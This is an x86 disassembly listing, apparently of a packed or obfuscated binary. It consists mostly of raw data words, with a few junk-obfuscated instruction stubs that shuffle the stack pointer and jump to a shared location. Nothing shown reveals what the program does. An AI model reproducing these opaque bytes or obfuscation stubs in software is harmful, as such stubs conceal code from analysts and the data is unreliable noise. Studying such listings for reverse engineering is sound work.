		dd 28CC22BFh, 8918D53h,	3F5C5BE9h, 9C0975ABh, 5841DDA8h
		dd 38A1BD43h, 2BB915B9h, 0B04934A1h, 69E31395h,	7A67F8F1h
		dd 0C9A97246h, 24CA5D65h, 0D7C25BCDh, 2BB4A81Ch, 998BD8C8h
		dd 8E6075EEh, 0CABDA7F4h, 0E9C05956h, 70836D74h, 4CAE14CAh
		dd 4AAB048h, 7F1814EAh,	0CEFEF074h, 746D00FAh, 0E3E9FB7Dh
		dd 0D7B0484Ch, 9C524FE1h, 61FD8358h, 4C824856h,	7076B048h
		dd 38B737Eh, 0BC000000h, 1547844Fh, 53CF41B0h, 2739AB46h
		dd 0AEC537BAh, 0DD54C82Bh, 0AAC335BCh, 0D850C42Fh, 0AFC034BFh
		dd 0D04DBF32h
		db 0C9h, 2Ah, 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 3BDB7551h
		add	ebx, 0C4248AB3h
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	93C7B9Fh
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5464A4
; ---------------------------------------------------------------------------
		db 92h
		dd 0B8B2D020h, 93C8099h, 0E0FFC503h, 46B7021Ah,	5585ECABh
		dd 5828D08Ah, 5C0EE176h, 79B7548Fh, 234375F3h, 1DF8D7E5h
		dd 92173BBh, 36D4EB61h,	4214C478h, 4EB4BA1Bh, 4C7A62C8h
		dd 0C1D53C2h, 28E8B08Fh, 1562098Fh, 576D74F2h, 0E2225EAh
		dd 1BBE2592h, 4AE7339Ch, 6FCAAD20h, 2E0E37Ah, 0CA35433h
		dd 394349BBh, 271EAD27h, 4CC90846h, 1E67B7FCh, 25131EB3h
		dd 5B3199EBh, 17D6504Ah, 6793C81Fh, 81CE04EBh, 0D4E93526h
		dd 92000005h, 0E69A03A0h, 8B4D4E4Bh, 0CC940994h, 0A65A4354h
		dd 8A910A8Fh, 990019F1h, 0F2E77C04h, 9C3937A9h,	0FCE579FFh
		dd 0BFE5A99Fh, 12F9C0F5h, 47DFE4F1h, 9C1EAE2Bh,	61E01485h
		dd 3A6376EFh, 0F9F66A94h, 82727C65h, 809B1408h,	0A418DB15h
		dd 70E40F88h, 0D6E8E4FDh, 37B63E5Bh, 6C02FCD2h,	0F400846Fh
		dd 0AEC2B59Fh, 7AF46C31h, 0A6B8405Dh, 8D74F40Bh, 0ABBA0693h
		dd 43DA248Fh, 0E7599856h, 0BAAA494Ch, 9E907B69h, 0CAB29C01h
		dd 90FE9FC3h, 73ED0937h, 810FE2FFh, 1C35653Eh, 10E3F06Eh
		dd 0DF12879Ch, 0B5B0A4F1h, 0E9847620h, 0C5AF04F0h, 50D5C904h
		dd 779E89h, 47ED0000h, 0B543AE2Bh, 1C364211h, 3C1D0716h
		dd 894FFA11h, 0A56h, 0A8503000h, 0D0ACE75Bh, 155AF9FDh
		dd 8B6B76EBh, 6E851C11h, 0D4DE04C8h, 0D01C3641h, 0B9B426CEh
		dd 509E3B30h, 13D1FDA1h, 1C3641A9h, 53C8109Bh, 0A321D9A0h
		dd 719CC5FDh, 55C7FCDBh, 0B2372FA1h, 20D31DBAh,	72EB15B9h
		dd 52428F67h, 0BF0F8AA7h, 3806F5FFh, 3E31D4ACh,	0D4A94DA3h
		dd 1687100Ch, 892E4735h, 3641715Bh, 0AD43651Ch,	18236121h
		dd 26FED14Eh, 9A5946D8h, 0ED5FDE16h, 5B656970h,	9F1ED6C3h
		dd 5F0E431h, 0A8306D6Ch, 0E7A32BB4h, 35F113B9h,	15E1071Ch
		dd 98051A8Eh, 4D48E759h, 0A03D32A6h, 7D67BE51h,	0C739157Ah
		dd 45C72AAFh, 577064B1h, 89505106h, 5381h, 2E475200h, 5BD448ABh
		dd 0F46C8E3Eh, 258C13E3h, 0D4C15F61h, 65B9B1Dh,	0E7F26B1Eh
		dd 0AE2B42B6h, 4059D143h, 6F55D0B1h, 50002F6Eh,	445889h
		dd 47370000h, 6723AB2Eh, 36419339h, 9561871Ch, 17849A0Eh
		dd 5E6044DCh, 9B1DD4C1h, 6B1E065Bh, 15B6E7F2h, 578D2A47h
		dd 1C36416Dh, 0BDD85769h, 0A636BD33h, 1C36411Fh, 0ECEDD726h
		dd 894FF9A1h, 1C6h, 0B9150500h,	41E5CF15h, 0BFE11C36h
		dd 36419F25h, 0E1159B1Ch, 0E9E5F06Fh, 0BD395CD7h, 31AEC236h
		dd 7BEE59Dh, 84A80BF9h,	0FAF9E67Ah, 11FF7E76h, 0A25D0C4h
		dd 66310E8Fh, 506A1EAEh, 8032C1DEh, 0C6828B2Bh,	21D51BE2h
		dd 3224493h, 4E943815h,	1300DA64h, 41B03E60h, 291853CFh
		dd 0BF14745Dh, 0FFF2EF81h, 207D737Dh, 18DBC458h, 0F14488h
		dd 625C5013h, 0A123CECBh, 61140055h, 0DFC7D4CDh, 0EAA6819Fh
		dd 0B8D6471h, 665F03B7h, 429238h, 8E608613h, 5F78F466h
		dd 0A1710F6Fh, 1AE9B99Ch, 4DE153DAh, 0D5487854h, 12922831h
		dd 0E454DB1Bh, 0F8C88D77h, 3B4EEE0Fh, 0C638BCBAh, 0B3263DAAh
		dd 6932BC40h, 85E184C9h, 198E392h, 0EB9F0000h, 660FB5h
		dd 0E5CF1513h, 0E1130065h, 13E305BFh, 0C39B2E6Ch, 233DBF0Bh
		dd 69B03EB6h, 9F15035Fh, 69871209h, 7D1A168Ah, 0B9C45820h
		dd 124A12Bh, 0C239513h,	10DE6291h, 8E6075EEh, 6E548A3Eh
		dd 6A130124h, 0BF31B044h, 4DBB36A3h, 791C17A9h,	0DE9EC87h
		dd 0C307CCB8h, 124971Dh, 3ADF9313h, 76447192h, 4DBF37B9h
		dd 0DFD3C8D1h, 928561AEh, 5CB9h, 76EB1500h, 2EE48B6Bh
		dd 0C307C787h, 41F3D907h, 0C1E71C36h, 41459F35h, 516B1C36h
		dd 8C32C1D8h, 36416C56h, 0A846681Ch, 0BC10964Ch, 0A0BD2A42h
		dd 0C03FB739h, 36418A30h, 988C991Ch, 0C10DDDD4h, 3641C923h
		dd 1A8DDD1Ch, 59286DBCh, 516B638Dh, 425FD0D9h, 777348ACh
		dd 0C6h, 0C39B2ED8h, 213DBF0Bh,	2DB739B8h, 1C364187h, 59D81681h
		dd 0C103E18Ah, 4EA5302Fh, 2CD024CAh, 2ABCF76h, 0AB23C515h
		dd 1BFD2D3h, 985C6603h,	0E8BA719h, 4A57CB8Dh, 0A8819A7h
		dd 77841301h, 7966FA8Dh, 9C902A24h, 886CF003h, 0DAF2AAFDh
		dd 84150CAEh, 8B80E270h, 7C7E0BD5h, 6D6803E4h, 0EDBD7383h
		dd 6C3F9108h, 0F003EDE7h, 6C07E07Ch, 0E8068A69h, 2843DAE4h
		dd 98A0D05Dh, 0BEB0566h, 5D479484h, 7E4E0691h, 182E944Ah
		dd 842A1C2Dh, 0FE00CC70h, 0F3EE8166h, 7F727C00h, 96BF9FDh
		dd 0ED15019Ah, 46D9E3EBh, 824985Bh, 0EE0648Fh, 0A31D11E6h
		dd 950C218Ch, 0DD14DA5Eh, 179B675Bh, 3AEBE5E2h,	9B2E13BAh
		dd 21BF0BC3h, 1C36419Bh, 1FC5098Fh, 1C364195h, 43E70F91h
		dd 0AC2BF9Dh, 223BC515h, 3CB83CB7h, 1F916086h, 53059603h
		dd 0F00AC2DFh, 2ED33279h, 858214FEh, 0FD9C956Bh, 0FB8272F6h
		dd 0F0335B6Dh, 0DAAE5816h, 102BFEC4h, 0F4FAE7h,	3A36C1B3h
		dd 0E478009Dh, 0A852F8FBh, 43C52CB5h, 3432F97Fh, 0D323FDA2h
		dd 74E8C159h, 6EB43B3Dh, 628C672Bh, 0EBE30D8Fh,	0B0435ED1h
		dd 0D749C82Ch, 42B63D58h, 0DC41B02Dh, 0A2E09B89h, 0A4B84331h
		dd 526C623Bh, 0AD2FC2DFh, 0D5398321h, 0AB2DE70Fh, 445DD14Bh
		dd 0DC5ADh, 0CD010000h,	0FD5AD17h, 0EF07A9E7h, 47844F50h
		dd 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh, 0C335BCDDh
		dd 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h,	289768h
		dd 241C8900h, 0C381E389h, 4, 8704EB83h,	525C241Ch, 0C281E289h
		dd 4, 8704EA83h, 895C2414h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	93C81B5h
		mov	esi, [esp]
		add	esp, 4
		push	1F49h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ecx
		mov	ecx, 8
		add	ecx, edi
		push	eax
		mov	eax, esi
		mov	[ecx], eax
		pop	eax
		pop	ecx
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5464A4
; ---------------------------------------------------------------------------
		dd 0ADE5154Dh, 0A44EB018h, 0B8F586F9h, 93C86F2h, 0E0FFC503h
		dd 30A87BA6h, 6F3895FEh, 410995E6h, 68453C17h, 3BDF6F71h
		dd 1DC2B65Ah, 39782126h, 1CF2957Eh, 38D06390h, 84C9079h
		dd 36EDE9h, 7CF12F7Bh, 41DF06CCh, 7B19F9E4h, 2F874B2Eh
		dd 6DCE4744h, 331477F2h, 34A24E81h, 4775DAC6h, 6601ED5h
		dd 2E4F029Ah, 18751DDAh, 14FF27A0h, 227F435Ah, 0F58A8AFh
		dd 5908BD5Bh, 2775244Eh, 733A04EBh, 6DE95C8Ch, 3E000005h
		dd 72E6B71Ch, 47B9E2FFh, 68F0AD28h, 42B6E7F0h, 26EDAE2Bh
		dd 1DBCB555h, 7663F880h, 20BDB325h, 7069057Bh, 9B49852Bh
		dd 12F9B931h, 0AC4E7825h, 25CC28B1h, 43AE2B47h,	5C4158D1h
		dd 0CCD54872h, 1DBAB628h, 0D1CE62D6h, 26B3AE22h, 0DF766CBh
		dd 1BB8B648h, 0D4CD61DBh, 821F11C7h, 0DCC96719h, 36965841h
		dd 0D50BAAC4h, 1C3641EFh, 0CB2BC5EBh, 4E5BD044h, 0A02CC2D7h
		dd 420CB6ECh, 0CC121C36h, 1C3641E6h, 0E006BCE2h, 2E9F8D14h
		dd 27418146h, 0BE484AAEh, 5DD34DA9h, 89A55B40h,	6C53E110h
		dd 711C35F1h, 3697B0A4h, 3489504Ah, 0EA09968Ah,	54E78E66h
		dd 0A8000000h, 43AE2B47h, 364211B5h, 1D07161Ch,	4FFA113Ch
		dd 0C8675989h, 0BBB226CDh, 322ED01Eh, 2ACA4EA5h, 17Bh
		dd 2A474C00h, 5DD044AFh, 233BAD44h, 89A416B6h, 0F85DE410h
		dd 0E29ABFA5h, 0EAABCD88h, 3DAF4781h, 1CE4B920h, 0C5379700h
		dd 40C42FAAh, 47F4D7B4h, 0A248AB2Eh, 0B10D8DAh,	74ECAB57h
		dd 0E20C9063h, 1C859812h, 85120EB0h, 1182F271h,	58622623h
		dd 981CD7C0h, 354E804Ah, 23BCB01Ch, 70764CD0h, 58130A84h
		dd 6E1C05C1h, 9409E703h, 5D2550CCh, 77DB778Ch, 0BC06DC04h
		dd 0B81C35B6h, 0EF4C9008h, 0B53B64BEh, 0F169933Bh, 3F6509E8h
		dd 1C360875h, 75816F71h, 8E57AEEh, 6A628C15h, 33BEDB50h
		dd 0BF31A8C1h, 2844B837h, 5BD044AFh, 83C861Ch, 0B6381C36h
		dd 0D154B938h, 1E8708E3h, 76EF1136h, 0B2EB9363h, 0D5895038h
		dd 83h,	77EB15B6h, 0F105876Ah, 0F3E67Fh, 1B16938Ch, 11CF737Eh
		dd 1C3641ABh, 0F9F7F99Fh, 221293FAh, 52CBDE57h,	0C628AC47h
		dd 8F0A23D5h, 6F558B3Fh, 0A71C3641h, 36B80A8Fh,	55CD3FBEh
		dd 59CCAD44h, 2B726Bh, 4F5C8950h, 2B000000h, 6673EB15h
		dd 94051C8Eh, 6875EB5Dh, 7B1E1789h, 7F680478h, 0F9F8F6E3h
		dd 4F2A1A8Bh, 0BF84708Dh, 558A213Dh, 0F47EAC7Fh, 83FDF9F7h
		dd 0DDDFEFEAh, 169A5940h, 472A09DEh, 0B444AF2Ah, 1C364211h
		dd 3E1F0518h, 894FFA0Fh, 158h, 28473700h, 0BB36A3BDh, 0C83CB739h
		dd 3B834B54h, 0A915B5CEh, 57D61EF6h, 7D08FC69h,	0A7D7F7E2h
		dd 4AF481C9h, 5E3BBB14h, 0BCD95668h, 0B043B335h, 0E1A12DE5h
		dd 3FB4C47Dh, 0ED6A9603h, 0F2128DB1h, 8E54F8FCh, 1503263Fh
		dd 0A11BB335h, 5DE41089h, 316A77EBh, 0CB26B3AFh, 126793Dh
		dd 8C788513h, 0D94E65F9h, 0E5F26EF6h, 83368A0Eh, 7A1F14AEh
		dd 0F5FBF577h, 0A33C30A8h, 5740DC50h, 0AA37289Ch, 3D5CD547h
		dd 100421B6h, 765EAF55h, 5D677D51h, 5713010Dh, 51110ACAh
		dd 9214AE07h, 651EA43Ah, 941A1300h, 6572EE60h, 0D63B9238h
		dd 402C9285h, 5B000001h, 0BC39B2Eh, 35F4ED5h, 0A824CA15h
		dd 79781D16h, 856B6E07h, 0E27EF271h, 816F6A05h,	5963814Dh
		dd 4D130124h, 8C3D5D1Dh, 5C920321h, 0E70F8CA2h,	0C5D24E12h
		dd 39A6BA2Eh, 46824ABAh, 0D51CBDB4h, 262B9153h,	791F1301h
		dd 493C287Dh, 0DBCFCCD5h, 928514B2h, 69B5h, 872E1600h
		dd 5BB707C7h, 0C00E8227h, 4AA765h, 57F806C0h, 0FE5FB9Fh
		dd 0AB1C35ECh, 0EBF7BDE3h, 0EDF31C35h, 5A60F003h, 8A1C35EBh
		dd 7BED0491h, 66FEF5E0h, 11CCAF95h, 9B3F19Dh, 0FD1C35ECh
		dd 0DEC61BDBh, 3CB9B12h, 9D3C35C7h, 8C22D256h, 1C35EB56h
		dd 7E804C52h, 2B00F4E1h, 863Fh,	0F8718B00h, 8A647DF1h
		dd 9B2EC36Ah, 0B33E5BD3h, 0ED0FBF31h, 7896871h,	0B2954BEFh
		dd 0A6150368h, 0E37FF100h, 8A696E06h, 2DB3E806h, 0BB49A831h
		dd 130117E6h, 1CEFD526h, 0E8BA700h, 0E8F61E3h, 0CC816818h
		dd 37ABDEBCh, 0A96134BFh, 5CBA5D25h, 97371EEDh,	0A325BB5Fh
		dd 970BD4DEh, 2D43BD11h, 3BF41B0h, 48693F0Ah, 0D251A5BFh
		dd 0ADA7C25Eh, 5EE3D01Fh, 6D5B9658h, 9D283420h,	0F5DB09C5h
		dd 0E91500D6h, 2EF5D6C7h, 0B30BC39Bh, 32B60F5Fh, 852F7530h
		dd 811C359Fh, 0B965915Fh, 0A27A52Bh, 0A279915h,	0E3FE718Fh
		dd 8F628C10h, 398011Dh,	0F9F8E17Dh, 4A91D86Bh, 0CCB82540h
		dd 57CC2539h, 36A3BC42h, 0E6B739BBh, 6C568C40h,	68BFA96Dh
		dd 203CAE46h, 0C62DA8C7h, 0D345AC42h, 0C5B33E5Bh, 85996C58h
		dd 0DEE8ABEEh, 465DC06h, 0E48E33CBh, 0AAF3FDF3h, 569D3A36h
		dd 1C6Ch, 0B4E89800h, 4389170Ch, 37BFA9FCh, 9F9F11B1h
		dd 0CCF6AC20h, 0C8BFA952h, 4F2FCE26h, 0B0154784h, 4653CF41h
		dd 0BA2739ABh, 2BAEC537h, 0BCDD54C8h, 2FAAC335h, 0BFD850C4h
		dd 32AFC034h, 0C9D04DBFh, 0C685D2Ah, 8900005Bh,	89572404h
		dd 4C781E7h, 83000000h,	3C8704EFh, 2C895C24h, 38086824h
		dd 0C890000h, 88096824h, 2C8B093Ch, 4C48124h, 83000000h
		dd 248904ECh, 24048124h, 4, 8BB5359h, 81000000h, 8A371FC3h
		dd 81CB0113h, 8A371FEBh, 5B2B8913h, 51240C8Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 34FF5C24h, 0C4835D24h,	0F16AE904h
		dd 0B5E6FFF8h, 0BA4E2E8Eh, 76508D28h, 3C8CF4B8h, 0FFC50309h
		dd 3E28A2E0h, 0B7429D2Bh, 98C83838h, 66AD4C27h,	4A5CC170h
		dd 4ADC0015h, 0FB447D22h, 0B7C25239h, 0B151BE30h, 6EB00371h
		dd 558D8D75h, 66093C8Eh, 896758BEh, 3516298Dh, 8E909h
		dd 22AA0000h, 18C1F4A7h, 85C7CCD4h, 935287Dh, 7054h, 6298D09h
		dd 85C70935h, 9352255h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 79C35545h
		dd 307C16C2h, 0AE0522D0h, 219D89CAh, 0FF093501h, 352B11B5h
		dd 50006A09h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 36D02488h, 4995892Dh, 31093503h,	3523E185h
		dd 595FF09h, 0FC09350Dh, 6850Fh, 85310000h, 9351D9Dh, 95FF006Ah
		dd 9350829h, 5EEBC08Bh,	143EEAB6h, 355C0E91h, 1A6F3BEAh
		dd 0A3E4AF1Dh, 0B813FDE9h, 3A3D33A4h, 7C170BD7h, 26949323h
		dd 0B7B32800h, 0F8D9BA99h, 75CEE215h, 0D1BBF57Dh, 26FA9C6Ch
		dd 3F5E839Eh, 0E9A13368h, 8AB8C973h, 9A7E50C5h,	0F9E6B835h
		dd 95FF120h, 86277B3Ah,	45477C9Bh, 0ACADB1D9h, 0F0ACCC43h
		dd 8D8DC27Dh, 93C8F53h,	95BD8960h, 66093517h, 0E7FBDA81h
		dd 298D8961h, 6A093516h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0C71CC353h,	35287D85h
		dd 649009h, 6E900h, 70E60000h, 0BCC08025h, 225585C7h, 935h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0EAFDD6C3h, 389F2B33h, 8BC394DEh,	79B5FFD7h
		dd 8B09352Ch, 350CFD95h, 95FFF809h, 9350D05h, 2FF9952Bh
		dd 6A0935h, 82995FFh, 0C08B0935h, 469B29EBh, 0F4AD0928h
		dd 7F463877h, 0F41F6E79h, 57648579h, 0AEFBC577h, 646E9C20h
		dd 0C3C38A86h, 397C15CAh, 591A7324h, 0E86ED6AEh, 7, 0BFB5048h
		dd 8BA671CBh, 351BF1B5h, 0CF8B5809h, 5A9EC081h,	0BD290000h
		dd 9350415h, 68h, 0DE900h, 2EC60000h, 936CEED6h, 0B2A13AAFh
		dd 5F38AC54h, 8B0Fh, 34FF0000h,	3820F07h, 66000000h, 895BF78Bh
		dd 3521CDB5h, 8EF38109h, 8B3207CEh, 3528CD8Dh, 76C38109h
		dd 2909C855h, 3522518Dh, 0EBF38109h, 8161C730h,	8DA36EAh
		dd 381C8965h, 9B71BA66h, 30A9952Bh, 0EF830935h,	4FCF8B01h
		dd 800F4F4Fh, 6, 1D8D9D09h, 0FF810935h,	0FFFFA62Ch, 15850Fh
		dd 8B660000h, 28E9CEh, 0F5990000h, 0BEB437BFh, 7D5E50Dh
		dd 89EFDB3Fh, 35055185h, 0FF7CE909h, 0FFBBFFFFh, 69E1F855h
		dd 97ECA8E1h, 0F602674h, 8D8D670Ch, 93C9127h, 6BD28156h
		dd 5A20803Fh, 16298D89h, 6A0935h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0C777B0C3h, 35287D85h
		dd 5AAC09h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0E9C14708h, 8B666053h, 0C1B966C6h
		dd 85C761A2h, 9352255h,	0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0EC35141h
		dd 1269BD89h, 0B5890935h, 9352709h, 0D15B5FFh, 9D8B0935h
		dd 9352AC5h, 0D0595FFh,	6A0935h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0C14CC3h, 0BF66527Dh
		dd 6A04CAh, 82995FFh, 0C08B0935h, 861B4CEBh, 8AC94537h
		dd 0A7CC8CBCh, 988C488Eh, 471AB9EBh, 186A7943h,	0BEC81737h
		dd 562E4639h, 0D9F26C1Fh, 41D02500h, 24E45293h,	6385BE7Ch
		dd 90714D83h, 618821D2h, 5AFC9F4Fh, 30C62243h, 20CB4C3Ah
		dd 0DA32CD13h, 0B71C5848h, 10E8C4D8h, 89000000h, 2A8AA758h
		dd 27E2C454h, 0C38C6107h, 8B2B775Dh, 351209B5h,	3CB25809h
		dd 6104C081h, 0B58B0000h, 9350EC5h, 181168h, 61958B00h
		dd 5B09351Dh, 0F181088Bh, 30DA3074h, 81FAB70Fh,	0DC4550C1h
		dd 10E94Ch, 0B5830000h,	0E20B6479h, 44413BB4h, 523A76CFh
		dd 0F181E4E5h, 422D5E77h, 0FE4002BAh, 6608892Eh, 0E4BCCE81h
		dd 0F124E881h, 0BD8B5B86h, 9352291h, 0F120C081h, 880F5B86h
		dd 6, 2B9D8D89h, 0EB830935h, 1C850F01h,	8B000000h, 350599B5h
		dd 29E909h, 0FDD70000h,	9EB293A1h, 0DB0183F7h, 69C60D59h
		dd 0BAFB5228h, 159715F1h, 0FFFF7BE9h, 2DBDDAFFh, 0AF79EEh
		dd 0E1B9301Bh, 8B258F58h, 0C0h,	194h dup(0)
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0D7D2C353h, 770C7F73h,	0FE960h
		dd 0D7FC0000h, 0ECED296Dh, 0D43DBD6Ah, 0F917793h, 108D0FB7h
		dd 0E9000000h, 0Bh, 758C937Bh, 0E24CE03h, 9DA427B9h, 0BE961FCh
		dd 6000000h, 2B0D5CC6h,	0E6218861h, 0F55D3B80h,	8244401h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0FFC35646h
		dd 94EAE498h, 0BE9A77Fh, 0AD000000h, 58F96E6Bh,	6DEBBC77h
		dd 6A582BF5h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0A607C350h, 21AB2B7h, 0AE9F584h
		dd 47000000h, 5F1A21F4h, 0ABC17978h, 0FC39DCBh,	198Ah
		dd 5E86000h, 0C6000000h, 40226D46h, 7E95Ah, 6F710000h
		dd 92F366F0h, 6660616Bh, 9CBAD08Bh, 61373394h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 44C35141h, 0E957BF55h
		dd 0Fh,	20CF1E58h, 0ABB7E5F7h, 7760BE31h, 8BDE5354h, 50D981C0h
		dd 66569809h, 7990E681h, 28D0Fh, 5B510000h, 666DCE81h
		dd 8B664ED5h, 29B866CEh, 0E88166DCh, 8B66009Fh,	6E9D9h
		dd 5CF70000h, 4B38A20Ch, 8127DA80h, 0A8C772EEh,	870F36h
		dd 0F000000h, 989h, 38F0F00h, 66000000h, 0D180C18Bh, 0DAF281E7h
		dd 807D5D68h, 0DA805DE8h, 28A0FBDh, 8B000000h, 0D78160D3h
		dd 1CBBC8DCh, 40A6A8BFh, 830F6111h, 14h, 0FE9h,	0F1120600h
		dd 0CCC0F0B9h, 94B12EBBh, 37A7FB5Ch, 0BCCE8166h, 0CF816606h
		dd 0EE815927h, 0AD2A2Dh, 0CE9h,	3AD3B100h, 3C9EA90Dh, 0F9FC9411h
		dd 0F8BF0F6Eh, 0D9B2FA8Bh, 0E820Fh, 9E90000h, 0AD000000h
		dd 0CE076ED1h, 2CF32840h, 478FDE81h, 8B665296h,	58A0FF8h
		dd 0BB000000h, 147AB903h, 4800Fh, 0BF660000h, 8B66E535h
		dd 9EC281F9h, 0B819DB5Ah, 73D1A790h, 0D358D681h, 0C78A336Ah
		dd 14E9h, 3226E600h, 0E6BA84E5h, 35E3296Bh, 3F60F617h
		dd 9F9FA87Ah, 0EE81660Ch, 0BE66DFD2h, 81666B14h, 525EC2C1h
		dd 2890Fh, 61600000h, 0F60605Ah, 83h, 0D2806100h, 0BF0F6182h
		dd 8E950DBh, 56000000h,	0CFD3B4DAh, 5A94328Fh, 8FBA6652h
		dd 66F85BE5h, 0F6863B8h, 28Dh, 0E934B100h, 5, 7F438DEDh
		dd 10E95Ch, 4FBB0000h, 0F7CA349h, 8595B2E8h, 0AA89CD48h
		dd 8B66CAA0h, 0AFC881C1h, 0B00CF4F5h, 0FE8B66FEh, 0D164C681h
		dd 53F819A4h, 6E8h, 0CFBC3B00h,	664A6DFEh, 5F7E2BB8h, 59F5575Eh
		dd 0FF88B66h, 880h, 28E0F00h, 51000000h, 82BB665Ah, 8E954h
		dd 4D10000h, 0F27D6044h, 14E92AE0h, 0DA000000h,	4C785CE3h
		dd 0EC69881h, 0D286FC0Bh, 0B8496207h, 0E9B6B60Ah, 11h
		dd 0A07D2ECFh, 0B64F02A7h, 68A796A1h, 0D582AF4Bh, 18E0FBEh
		dd 0FC000000h, 0E9F6BF0Fh, 0Dh,	9DE3516Ah, 2EE8FB4Fh, 0DAAFB380h
		dd 0C180F8A3h, 0BE936h,	0F0530000h, 8A76DF5Ah, 0C2DB3453h
		dd 5E930h, 48EA0000h, 8137C9C8h, 0CD804ECBh, 0A461B84Eh
		dd 60F90062h, 11E9h, 0D98F3C00h, 0D7905C7Bh, 8065A1h, 9AA63082h
		dd 14E9224Dh, 29000000h, 0FD2BD91Fh, 660C60ADh,	6404F117h
		dd 8C43ECF4h, 6188E805h, 9922F381h, 810F1D5Dh, 3, 0E924F280h
		dd 0Dh,	7A038179h, 0A14D33B4h, 0B7C260C3h, 0D2BF0F2Eh
		dd 66F7BF0Fh, 0BB08E981h, 53696FBFh, 81665706h,	5A9F33C8h
		dd 0B86660F8h, 92BF3702h, 616F7876h, 0D059B866h, 60DEBF0Fh
		dd 6652D78Bh, 6159CA8Bh, 0BB66CE8Ah, 0D18B4684h, 850Fh
		dd 0DE800000h, 8B4EB4A6h, 816660C8h, 6023F2E8h,	800Fh
		dd 0BB660000h, 61614440h, 18F08056h, 0BD39BF5Bh, 816629DAh
		dd 0E8FB47CBh, 0Bh, 3C862D4h, 334E99F3h, 0FCBB14Fh, 0F5FDFBFh
		dd 388h, 5AF95200h, 1532F9B9h, 0F3BF0F31h, 6FE6B966h, 53DF8B66h
		dd 59F8BF0Fh, 0DE8F9h, 1F460000h, 5FE20C1Ch, 74FEC470h
		dd 0E92E477Fh, 10h, 639E8680h, 94A4BB92h, 4955C601h, 1374F2A9h
		dd 0FE95Fh, 0E21B0000h,	0E31A9DA4h, 0AD8F501Ch,	203243EAh
		dd 0C9816630h, 890F6A12h, 0Bh, 6E9h, 8B3D4A00h,	606A070Ah
		dd 8945BA66h, 0FC615B57h, 0F28B5660h, 0B050615Ah, 9E95B4Fh
		dd 48000000h, 0A61DDF2h, 3F767AB5h, 0CAB0F18Bh,	8B665760h
		dd 8B6659FAh, 0F28061FEh, 6860FC0h, 81000000h, 6D359AE7h
		dd 0EE91Bh, 0D9920000h,	99EBB860h, 6FFA77D6h, 0C9B7E3E3h
		dd 93D18166h, 0CBB70F55h, 0DD80D78Bh, 11E90Eh, 0B62A0000h
		dd 0AC77C816h, 4FC51EDh, 0A7AFD601h, 0FBE3BBBh,	0CA8ACEBFh
		dd 4810Fh, 0BB660000h, 0D181E89Ch, 1A90961Fh, 9E9h, 605CAB00h
		dd 0EF1CF025h, 0FF9E162h, 0C2BBD8B7h, 66174D88h, 81EAC881h
		dd 0C88BD88Bh, 28E0Fh, 0F28B0000h, 28C0FFCh, 8B000000h
		dd 0D9B70FD3h, 80F18B66h, 50528BE8h, 595A5956h,	66D18B66h
		dd 666FD7BBh, 0E95908B8h, 7, 0DF84A849h, 66CC4470h, 8A57D68Bh
		dd 12E85BEFh, 0A9000000h, 8713F2CEh, 39A79DCBh,	0E4950B6Dh
		dd 27A29551h, 128D0F47h, 0E9000000h, 0Dh, 31E2365Fh, 0FFF7BA57h
		dd 0F5C19BB1h, 0FE95AF7h, 4000000h, 427A99F7h, 0DEC4500Bh
		dd 2F158FC8h, 0F60B9FFh, 581h, 0E148BE00h, 0F18B234Bh
		dd 8E95361h, 98000000h,	0DE89B9C8h, 5A1DE0BBh, 8BD9BF0Fh
		dd 0D9BF0FFAh, 8F0Fh, 25BE0000h, 0E938B28Eh, 12h, 7F9AE827h
		dd 559D016Dh, 0D4BA621Eh, 0CBE2C026h, 830F196Eh, 3, 0FCBB70Fh
		dd 8Bh,	0DBBF0F00h, 0E9D38B66h,	13h, 75C79E82h,	63320C4Ch
		dd 2EC42046h, 170830E4h, 0FA23353h, 38Eh, 0D2B70F00h, 0C3B70F50h
		dd 0C1EF815Ah, 0BF05837Ah, 10F8FBA3h, 8AE0CD80h, 0E158B9F1h
